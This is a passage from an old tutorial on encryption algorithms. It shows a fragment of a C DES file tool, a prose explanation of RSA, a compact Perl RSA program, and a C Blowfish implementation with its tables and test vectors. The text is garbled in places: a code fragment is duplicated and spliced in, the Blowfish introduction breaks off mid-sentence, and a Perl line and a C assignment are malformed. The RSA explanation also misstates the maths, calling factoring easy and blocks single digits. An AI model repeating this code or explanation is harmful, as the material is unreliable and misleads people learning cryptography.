printf("\r\nUsage: des [e][d] <source file> <destination file>\r\n");
return 1;
}
key=(unsigned char*)getpass("Enter Key:");
des_init(key);

if((in=fopen(argv[2],"rb"))==NULL){
fprintf(stderr,"\r\nCould not open input file: %s",argv[2]);
return 2;
}
if((out=fopen(argv[3],"wb"))==NULL){
fprintf(stderr,"\r\nCould not open output file: %s",argv[3]);
return 3;
}
if(argv[1][0]=='e'){
while ((n=fread(data,1,8,in)) >0){
des_encrypt(data);
printf("data enctyted");
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
if(argv[1][0]=='d'){
while ((n=fread(data,1,8,in)) >0){
des_decrypt(data);
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}ntf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}
The RSA Encryption Algorithm

RSA is one of the most popular encryption algorithms around. It was


invented in 1977 by three MIT scientists; Ronald Rivest, Adi Shamir
and Leonard Adelman. This algorithm uses very very large prime numbers
to generate public and private keys. For more details about the
implementation of the RSA algorithm, read on.
The entire RSA algorithm is based on the concept of factoring.
Factoring is very easy to calculate i.e. an algorithm based on factoring
can easily be carried out, however, the strength of an algorithm based
on factoring lies in the fact that factoring is quite difficult to reverse.
So, encrypting data using a factoring algorithm can be done without
much of a problem, however to decrypt or crack an algorithm using a
factoring algorithm is not that easy.
Say you have two numbers x and y. Now it is relatively easier to find
out the final numbers when they are multiplied by a number N, however
on the other hand, if only N is know to us, then it is not easy to
calculate x and y. On top of this in RSA, N is very large number. This
makes the calculation all the more difficult. RSA uses factors of around
150 digits, making it not only impossible for manual calculation but also
making sure that the RSA encryption cannot be cracked within a feasible
amount of time.
In case of the encryption process, as RSA is a block encryption
algorithm, the entire data is broken into blocks and each block is
treated as a sequence of bits, with the number of digits being just a
little less than N. Each block is considered as a single digit, and
multiplied e number of times by itself, [In the case of PGP, e is
normally 17]. The result thus obtained, is divided by N and the
remainder obtained is the final encrypted message.
In case of the decryption process, the recipient, makes use of another
special number; k where (ke-1) is divisible by (p-1)(q-1). The value k is
chosen such that multiplying the encrypted message k times by itself and
then dividing by N, gives the original message as the remainder. So
basically to find out k, p and q should be known.
e and N constitute the public key which can be freely distributed, while
k forms the private key, which should be kept a secret.
Note: In this case, e and k and symmetric.
To understand the working of the RSA algorithm, study the following
Perl program which implements it.
#!/usr/local/bin/perl -s-- #export-a-crypto-system sig, RSA in 4 lines

PERL:
#
# -d (decrypt)
# or -e (encrypt)
#
# $k is exponent, $n is modulus; $k and $n in hex
#
# use of -s was contributed by Jeff Friedl, a cool perl hacker
#
# the $e-$d (grok that? awesome hack by Jeff also) checks for -d or
-e:
#
# when perl -s sets $x for -x so that means $d is set for -d, $e for
-e
# if they are both set 1-1 = 0 so it fails if neither are set it fails
# and if either one is set we're ok! This is to get around using | ,
# as | has higher precedence than & things group wrongly.
#
$e-$d&(($k,$n)=@ARGV)==2||die"$0 -d|-e key mod <in >out\n";
#
# $v will be the digits of output per block, $w the digits of input per
block.
# If encrypting need to reduce $w so input is guaranteed to be less
than
# modulus; for decrypting reduce $v to match.
#
# blocks are based on modulus size in hex digits rounded up to nearest
even
# length (~1&1+length$n) so that things will unpack properly
#
$v=$w=1+length$n&~1;
$v-=$d*2:$w-=$e*2;
#
# Make $_ be the exponent $k as a binary bit string
#
# Add a leading 0 to make length of $k be even so that it will fill
# Bytes when packed as 2 digits per byte
#

$_=unpack('B*',pack('H*',1&length$k?"0$k":$k));
#
# strip leading 0's from $_
#
s/^0+//;
#
# Turn every 0 into "d*ln%", every 1 into "d*ln%lm*ln%". These are dc
codes
# which construct an exponentiation algorithm for that exponent.
# "d*ln%" is duplicate, square, load n, modulus; e.g. square the number
# on the stack, mod n. "d*ln%lm*ln%" does this then, load m, multiply,
# load n, modulus; e.g. then multiply by m mod n. This is the square
and
# multiply algorithm for modular exponentiation.
#
# (Kudos to Hal for shortened this one by 4 chars)
#
s/1/0lM*ln%/g;
s/0/d*ln%/g;
#
# Encryption/decryption loop. Read $w/2 bytes of data to $m.
#
while(read(STDIN,$m,$w/2)){
#
# Turn data into equivalent hex digits in $m
#
$m=unpack("H$w",$m);
#
# Run dc: 16 bit radix for input and output; $m into dc register "M";
# $n into dc register "n"; execute $_, the exponentiation program
above.
# "\U...\E" forces upper case on the hex digits as dc requires.
# Put the result in $e.
#
$a=`echo 16oOi\U$m SM$n\Esn1$_ p|dc`;
#
# Pad the result with leading 0's to $v digits, pack to raw data and
output.

#
print pack("H$v",'0'x($v+1-length$a).$a);
}
Blowfish
Blowfish is yet another popular encryption algorithm which is based on:
The following C program demonstrates the implementation of the
Blowfish encryption algorithm:
/*********************blowfish.h********************/
/* $Id: blowfish.h,v 1.3 1995/01/23 12:38:02 pr Exp pr $*/
#define MAXKEYBYTES 56 /* 448 bits */
#define bf_N 16
#define noErr 0
#define DATAERROR -1
#define KEYBYTES 8
#define subkeyfilename "Blowfish.dat"
#define UWORD_32bits unsigned long
#define UWORD_16bits unsigned short
#define UBYTE_08bits unsigned char
/* choose a byte order for your hardware */
/* ABCD - big endian - motorola */
#ifdef ORDER_ABCD
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte0:8;
unsigned int byte1:8;
unsigned int byte2:8;
unsigned int byte3:8;
} w;
};
#endif /* ORDER_ABCD */
/* DCBA - little endian - intel */
#ifdef ORDER_DCBA
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {

unsigned int byte3:8;


unsigned int byte2:8;
unsigned int byte1:8;
unsigned int byte0:8;
} w;
};
#endif /* ORDER_DCBA */
/* BADC - vax */
#ifdef ORDER_BADC
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte1:8;
unsigned int byte0:8;
unsigned int byte3:8;
unsigned int byte2:8;
} w;
};
#endif /* ORDER_BADC */
short opensubkeyfile(void);
unsigned long F(unsigned long x);
void Blowfish_encipher(unsigned long *xl, unsigned long *xr);
void Blowfish_decipher(unsigned long *xl, unsigned long *xr);
short InitializeBlowfish(unsigned char key[], short keybytes);
/*********************blowfish.c*********************/
/* TODO: test with zero length key */
/* TODO: test with a through z as key and plain text */
/* TODO: make this byte order independent */
#include <stdio.h> /* used for debugging */
#ifdef MACINTOSH
#include <Types.h> /* FIXME: do we need this? */
#endif
#include "blowfish.h"
#include "bf_tab.h" /* P-box P-array, S-box */
#define S(x,i) (bf_S[i][x.w.byte##i])
#define bf_F(x) (((S(x,0) + S(x,1)) ^ S(x,2)) + S(x,3))
#define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n])

inline
void Blowfish_encipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl.word = *xl;
Xr.word = *xr;
Xl.word ^= bf_P[0];
ROUND (Xr, Xl, 1); ROUND (Xl, Xr, 2);
ROUND (Xr, Xl, 3); ROUND (Xl, Xr, 4);
ROUND (Xr, Xl, 5); ROUND (Xl, Xr, 6);
ROUND (Xr, Xl, 7); ROUND (Xl, Xr, 8);
ROUND (Xr, Xl, 9); ROUND (Xl, Xr, 10);
ROUND (Xr, Xl, 11); ROUND (Xl, Xr, 12);
ROUND (Xr, Xl, 13); ROUND (Xl, Xr, 14);
ROUND (Xr, Xl, 15); ROUND (Xl, Xr, 16);
Xr.word ^= bf_P[17];
*xr = Xl.word;
*xl = Xr.word;
}
void Blowfish_decipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl = *xl;
Xr = *xr;
Xl.word ^= bf_P[17];
ROUND (Xr, Xl, 16); ROUND (Xl, Xr, 15);
ROUND (Xr, Xl, 14); ROUND (Xl, Xr, 13);
ROUND (Xr, Xl, 12); ROUND (Xl, Xr, 11);
ROUND (Xr, Xl, 10); ROUND (Xl, Xr, 9);
ROUND (Xr, Xl, 8); ROUND (Xl, Xr, 7);
ROUND (Xr, Xl, 6); ROUND (Xl, Xr, 5);
ROUND (Xr, Xl, 4); ROUND (Xl, Xr, 3);
ROUND (Xr, Xl, 2); ROUND (Xl, Xr, 1);
Xr.word ^= bf_P[0];
*xl = Xr.word;
*xr = Xl.word;

}
/* FIXME: Blowfish_Initialize() ??? */
short InitializeBlowfish(UBYTE_08bits key[], short keybytes)
{
short i; /* FIXME: unsigned int, char? */
short j; /* FIXME: unsigned int, char? */
UWORD_32bits data;
UWORD_32bits datal;
UWORD_32bits datar;
union aword temp;
/* fprintf (stderr, "0x%x 0x%x ", bf_P[0], bf_P[1]); /* DEBUG */
/* fprintf (stderr, "%d %d\n", bf_P[0], bf_P[1]); /* DEBUG */
j = 0;
for (i = 0; i < bf_N + 2; ++i) {
temp.word = 0;
temp.w.byte0 = key[j];
temp.w.byte1 = key[(j+1)%keybytes];
temp.w.byte2 = key[(j+2)%keybytes];
temp.w.byte3 = key[(j+3)%keybytes];
data = temp.word;
bf_P[i] = bf_P[i] ^ data;
j = (j + 4) % keybytes;
}
datal = 0x00000000;
datar = 0x00000000;
for (i = 0; i < bf_N + 2; i += 2) {
Blowfish_encipher(&datal, &datar);
bf_P[i] = datal;
bf_P[i + 1] = datar;
}
for (i = 0; i < 4; ++i) {
for (j = 0; j < 256; j += 2) {
Blowfish_encipher(&datal, &datar);
bf_S[i][j] = datal;
bf_S[i][j + 1] = datar;
}
}
return 0;

}
=============== bf_tab.h ==============
/* bf_tab.h: Blowfish P-box and S-box tables */
static UWORD_32bits bf_P[bf_N + 2] = {
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344,
0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89,
0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917,
0x9216d5d9, 0x8979fb1b,
};
static UWORD_32bits bf_S[4][256] = {
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7,
0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99,
0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e,
0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee,
0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef,
0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e,
0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440,
0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce,
0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e,
0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677,
0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032,
0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88,
0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e,
0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0,
0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3,
0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98,
0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88,
0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe,
0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6,
0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d,
0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b,

0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7,


0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba,
0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463,
0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f,
0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09,
0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3,
0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb,
0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279,
0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8,
0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab,
0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82,
0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db,
0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573,
0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0,
0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b,
0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790,
0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8,
0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4,
0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0,
0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7,
0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c,
0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad,
0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1,
0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299,
0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9,
0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477,
0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf,
0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49,
0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af,
0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa,
0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5,
0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41,
0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915,
0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400,
0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915,
0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664,
0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a,
0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623,

0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266,


0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1,
0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e,
0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6,
0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1,
0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e,
0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1,
0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737,
0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8,
0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff,
0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd,
0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701,
0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7,
0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41,
0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331,
0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf,
0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af,
0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e,
0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87,
0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c,
0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2,
0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16,
0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd,
0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b,
0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509,
0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e,
0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3,
0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f,
0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a,
0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4,
0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960,
0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66,
0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28,
0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802,
0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84,
0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510,
0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf,
0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14,

0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e,


0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50,
0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7,
0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8,
0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281,
0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99,
0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696,
0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128,
0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73,
0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0,
0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0,
0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105,
0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250,
0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3,
0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285,
0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00,
0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061,
0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb,
0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e,
0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735,
0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc,
0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9,
0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340,
0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20,
0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7,
0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934,
0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068,
0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af,
0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840,
0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45,
0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504,
0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a,
0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb,
0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee,
0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6,
0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42,
0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b,
0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2,

0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb,


0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527,
0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b,
0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33,
0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c,
0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3,
0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc,
0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17,
0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564,
0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b,
0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115,
0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922,
0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728,
0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0,
0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e,
0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37,
0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d,
0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804,
0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b,
0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3,
0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb,
0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d,
0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c,
0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350,
0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9,
0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a,
0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe,
0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d,
0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc,
0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f,
0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61,
0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2,
0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9,
0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2,
0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c,
0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e,
0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633,
0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10,

0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169,


0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52,
0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027,
0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5,
0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62,
0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634,
0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76,
0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24,
0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc,
0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4,
0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c,
0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837,
0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0,
0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b,
0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe,
0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b,
0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4,
0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8,
0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6,
0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304,
0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22,
0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4,
0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6,
0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9,
0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59,
0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593,
0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51,
0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28,
0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c,
0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b,
0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28,
0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c,
0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd,
0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a,
0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319,
0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb,
0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f,
0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991,

0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32,


0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680,
0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166,
0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae,
0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb,
0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5,
0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47,
0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370,
0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d,
0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84,
0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048,
0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8,
0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd,
0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9,
0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7,
0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38,
0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f,
0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c,
0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525,
0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1,
0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442,
0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964,
0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e,
0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8,
0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d,
0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f,
0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299,
0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02,
0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc,
0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614,
0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a,
0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6,
0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b,
0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0,
0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060,
0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e,
0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9,
0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f,

0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6,


};
************** TEST VECTORS ***********************************
This is a test vector.
Plaintext is "BLOWFISH".
The key is "abcdefghijklmnopqrstuvwxyz".
#define PL 0x424c4f57l
#define PR 0x46495348l
#define CL 0x324ed0fel
#define CR 0xf413a203l
static char keey[]="abcdefghijklmnopqrstuvwxyz";
This is another test vector.
The key is "Who is John Galt?"
#define PL 0xfedcba98l
#define PR 0x76543210l
#define CL 0xcc91732bl
#define CR 0x8022f684l
-------------------------------------------------------Well, that is all for this edition, more in the next update. Till then bye,
Ankit Fadia
